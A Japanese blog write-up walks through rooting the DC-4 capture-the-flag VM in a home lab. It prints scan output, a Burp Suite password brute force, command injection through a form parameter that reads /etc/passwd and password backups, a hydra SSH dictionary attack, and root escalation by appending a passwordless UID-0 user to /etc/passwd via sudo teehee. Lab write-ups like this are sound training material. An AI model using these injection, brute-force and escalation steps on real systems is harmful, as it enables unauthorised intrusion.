DC-4のフラグ取得までの流れ
・netdiscover/nmapでDC-4の基本情報取得
・nikto/dirsearchでのwebサーバー・公開ディレクトリの情報取得
・Burpsuiteを使ってパスワードの取得
・ログイン
・Burpsuiteを使用したコマンドインジェクション
・sshにログイン
・権限昇格
・フラグ取得
netdiscover/nmapでDC-4の基本情報取得
Currently scanning: 192.168.110.0/16 | Screen View: Unique Hosts
31 Captured ARP Req/Rep packets, from 6 hosts. Total size: 1656
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.3.2 10:6f:3f:e6:28:40 17 1020 BUFFALO.INC
192.168.3.1 30:f7:72:be:b9:b9 10 420 Hon Hai Precision Ind. Co.,Ltd.
192.168.3.16 44:09:b8:8c:f4:72 1 60 Salcomp (Shenzhen) CO., LTD.
192.168.3.22 08:00:27:24:fb:1e 1 60 PCS Systemtechnik GmbH
192.168.3.8 d2:79:22:51:d6:19 1 54 Unknown vendor
192.168.10.1 30:f7:72:be:b9:b9 1 42 Hon Hai Precision Ind. Co.,Ltd.
┌──(root💀snowyowl)-[~]
└─# nmap -sS -A -Pn 192.168.3.22 -p- 130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-03 19:19 JST
Nmap scan report for 192.168.3.22
Host is up (0.00073s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
| 256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_ 256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open http nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 08:00:27:24:FB:1E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.73 ms 192.168.3.22
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds
nikto/dirsearchでのwebサーバー・公開ディレクトリの情報取得
┌──(root💀snowyowl)-[~]
└─# nikto -h 192.168.3.22
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.3.22
+ Target Hostname: 192.168.3.22
+ Target Port: 80
+ Start Time: 2021-09-03 19:21:02 (GMT9)
---------------------------------------------------------------------------
+ Server: nginx/1.15.10
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie PHPSESSID created without the httponly flag
+ 7915 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2021-09-03 19:21:16 (GMT9) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(root💀snowyowl)-[~/dirsearch]
└─# ls
banner.txt db Dockerfile logs requirements.txt static
CHANGELOG.md default.conf __init__.py README.md setup.cfg thirdparty
CONTRIBUTORS.md dirsearch.py lib reports setup.py
┌──(root💀snowyowl)-[~/dirsearch]
└─# python3 dirsearch.py -u http://192.168.3.22/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/dirsearch/reports/192.168.3.22/-_21-09-05_11-53-17.txt
Error Log: /root/dirsearch/logs/errors-21-09-05_11-53-17.log
Target: http://192.168.3.22/
[11:53:17] Starting:
[11:53:41] 302 - 704B - /command.php -> index.php
[11:53:43] 301 - 170B - /css -> http://192.168.3.22/css/
[11:53:50] 301 - 170B - /images -> http://192.168.3.22/images/
[11:53:50] 403 - 556B - /images/
[11:53:51] 200 - 506B - /index.php
[11:53:51] 403 - 15B - /index.pHp
[11:53:54] 302 - 206B - /login.php -> index.php
[11:53:55] 302 - 163B - /logout.php -> index.php
Task Completed
niktoは、webサーバーに対して攻撃的な情報な調査で、dirseachは正当なwebサーバーの調査感がありますね笑
Burpsuiteを使ってパスワードの取得
この段階で考えられる攻撃手段は、nginxの脆弱性をつかった攻撃
Burpsuiteを使った中間者攻撃がありますが、ここではBurpsuiteを使っていきます。
Burpsuiteの細かい使い方は、ここに詳しく書きました。
qwertytan.hatenablog.jp
BurpsuiteのProxyでブラウザを開いて、http://192.168.3.22に接続したところから書いていきます。
↓この状態
ユーザー名をadmin(勘にして、パスワードの特定にrockyou.txtを使ってパスワードを特定していきます。
調べたいパスワードを§§で括った状態
Payloadsタブに移動、Payload SetsにSimple listを選択。 Payload OptionsのLoadに/usr/share/wordlists/rockyou.txtを選択した状態
start attack実行中
ログイン
この様子からユーザー名adminは、passwordに何を入れてもログインすることができることが分かります。
ブラウザで、
ユーザー名:admin
パスワード:
でsubmitをクリック
このときにProxyのInterceptをオフにしないとログインできないので、必ず一回一回Interseptをoffにすることを忘れないでください。
この状態が正しい↓
ログインできた
Burpsuiteを使用したコマンドインジェクション
今後、Burpsuiteを使う場合は、
intercept on
↓
ブラウザで何かをする
↓
分析・書き換え等
↓
Intercept off
の順に行うこと
このcommandを悪用して、(burpsiteでこのコマンドを書き換える)コマンドインジェクションをしていきます。
ls -lのコマンドを自分たちの使いたいコマンドに書き換える。
Burpsiteのinterceptをonにして、ブラウザでrunをクリックします。
radio=ls+-l&submit=Run
の部分を書き換えれば、自分たちの好きなコマンドにできそう。
早速試しに、pwdを実行する。
radio=pwd&submit=Run
うまくいったので、この調子で進める。
whoami
→www-data
ls /home
→charles
jim
sam
ls /home/jim
→backups
mbox
test.sh
ls /home/jim/backups
→old-passwords.bak
cat /home/jim/backups/old-passwords.bak
過去に使われたパスワードの一覧が表示される。
あとで使えるかもしれないので頭の片隅に置いておく
/etc/passwdの中もみてみる
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
nginx:x:107:111:nginx user,,,:/nonexistent:/bin/false
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
Debian-exim:x:108:112::/var/spool/exim4:/bin/false
raaj::0:0:::/bin/bash
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
root:x:0:0:root:/root:/bin/bash
以外は、nologinとなっていて、無効化されている。
このサーバーは、sshサービスが起動していたので、そこから攻めてみる。
ここでは、sshサーバーにログインする他にも、DC-3の時のようにリバースシェルをアップロードする方法もある。
ここではsshサーバーにログインしてみる。
sshサーバーのユーザー名が分かってもパスワードがわからないじゃないかとなるかもしれないが、先程old-passwordというパスワードリストを使ってパスワードリスト攻撃をhydraで行う。
old-passwordで表示されたパスワードを攻撃者側のpcにファイルを作って、書き込む
ここでは、dc-4passwordというファイルにold-passwordの内容を書き込んだ。
そして、hydraを使う。
オプション
hydra -l ログインを試みるユーザー名 -p ワードリスト ssh://ipアドレス
┌──(root💀snowyowl)-[~]
└─# hydra -l jim -P dc-4password ssh://192.168.3.22
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-05 14:15:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.3.22:22/
[22][ssh] host: 192.168.3.22 login: jim password: jibril04
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-05 14:15:24
パスワードが見つかったので、早速sshにログインする。
┌──(root💀snowyowl)-[~]
└─# ssh jim@192.168.3.22
jim@192.168.3.22's password:
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sat Sep 4 23:23:16 2021 from 192.168.3.17
jim@dc-4:~$
ログインできた。
権限昇格
一般ユーザーでログインできたので、権限昇格を目指す。
mboxを見ても何も手がかりはないし、test.shは煽り文しか出てこない。
jim@dc-4:/var/mail$ cd /tmp/mail
jim@dc-4:/var/mail$ ls
jim
jim@dc-4:/var/mail$ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-0000kO-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya,
Charles
From MAILER-DAEMON Sat Sep 04 23:23:56 2021
Return-path: <>
Envelope-to: jim@dc-4
Delivery-date: Sat, 04 Sep 2021 23:23:56 +1000
Received: from Debian-exim by dc-4 with local (Exim 4.89)
id 1mMVeG-0000Wb-Fa
for jim@dc-4; Sat, 04 Sep 2021 23:23:56 +1000
X-Failed-Recipients: dc4@dc-4
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@dc-4>
To: jim@dc-4
Content-Type: multipart/report; report-type=delivery-status; boundary=1630761836-eximdsn-1804289383
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1mMVeG-0000Wb-Fa@dc-4>
Date: Sat, 04 Sep 2021 23:23:56 +1000
--1630761836-eximdsn-1804289383
Content-type: text/plain; charset=us-ascii
This message was created automatically by mail delivery software.
A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:
dc4@dc-4
(generated from root@dc-4)
Unrouteable address
--1630761836-eximdsn-1804289383
Content-type: message/delivery-status
Reporting-MTA: dns; dc-4
Action: failed
Final-Recipient: rfc822;dc4@dc-4
Status: 5.0.0
--1630761836-eximdsn-1804289383
Content-type: message/rfc822
Return-path: <jim@dc-4>
Received: from jim by dc-4 with local (Exim 4.89)
(envelope-from <jim@dc-4>)
id 1mMVeG-0000WZ-AW
for root@dc-4; Sat, 04 Sep 2021 23:23:56 +1000
To: root@dc-4
Auto-Submitted: auto-generated
Subject: *** SECURITY information for dc-4 ***
From: Jim <jim@dc-4>
Message-Id: <E1mMVeG-0000WZ-AW@dc-4>
Date: Sat, 04 Sep 2021 23:23:56 +1000
dc-4 : Sep 4 23:23:56 : jim : user NOT in sudoers ; TTY=pts/0 ; PWD=/home/jim ; USER=root ; COMMAND=/bin/su -
--1630761836-eximdsn-1804289383--
From MAILER-DAEMON Sun Sep 05 15:30:23 2021
Return-path: <>
Envelope-to: jim@dc-4
Delivery-date: Sun, 05 Sep 2021 15:30:23 +1000
Received: from Debian-exim by dc-4 with local (Exim 4.89)
id 1mMkjX-0000bm-1A
for jim@dc-4; Sun, 05 Sep 2021 15:30:23 +1000
X-Failed-Recipients: dc4@dc-4
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@dc-4>
To: jim@dc-4
Content-Type: multipart/report; report-type=delivery-status; boundary=1630819822-eximdsn-1804289383
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1mMkjX-0000bm-1A@dc-4>
Date: Sun, 05 Sep 2021 15:30:23 +1000
--1630819822-eximdsn-1804289383
Content-type: text/plain; charset=us-ascii
This message was created automatically by mail delivery software.
A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:
dc4@dc-4
(generated from root@dc-4)
Unrouteable address
--1630819822-eximdsn-1804289383
Content-type: message/delivery-status
Reporting-MTA: dns; dc-4
Action: failed
Final-Recipient: rfc822;dc4@dc-4
Status: 5.0.0
--1630819822-eximdsn-1804289383
Content-type: message/rfc822
Return-path: <jim@dc-4>
Received: from jim by dc-4 with local (Exim 4.89)
(envelope-from <jim@dc-4>)
id 1mMkjW-0000bk-SG
for root@dc-4; Sun, 05 Sep 2021 15:30:22 +1000
To: root@dc-4
Auto-Submitted: auto-generated
Subject: *** SECURITY information for dc-4 ***
From: Jim <jim@dc-4>
Message-Id: <E1mMkjW-0000bk-SG@dc-4>
Date: Sun, 05 Sep 2021 15:30:22 +1000
dc-4 : Sep 5 15:30:22 : jim : user NOT in sudoers ; TTY=pts/0 ; PWD=/home/jim ; USER=root ; COMMAND=/bin/su -
--1630819822-eximdsn-1804289383--
charlesのパスワードがわかった。パスワードは、 ^xHhA&hvim0y
jimから、charlesにユーザーを変更する。
sudo -lとは、 sudoを実行するユーザーに許可されているコマンドを一覧表示する。
そこで、hackという新しいユーザーを作り、echoとteeheeを使用してetc / passwdにhackを追加する。
jim@dc-4:/var/mail$ su charles
Password:
charles@dc-4:/tmp$sudo -l
charles@dc-4:/tmp$ echo "raaj :: 0:0 ::: / bin / bash" | sudo teehee -a / etc / passwd
teehee: /: Is a directory
teehee: /: Is a directory
raaj :: 0:0 ::: / bin / bash
charles@dc-4:/tmp$ su raaj
root@dc-4:/tmp#
となり、rootになれた。
フラグ取得
root@dc-4:/# cd root
root@dc-4:/root# ls
flag.txt
888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
Congratulations!!!
Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
参考にさせてもらった記事
ozuma.hatenablog.jp
atmarkit.itmedia.co.jp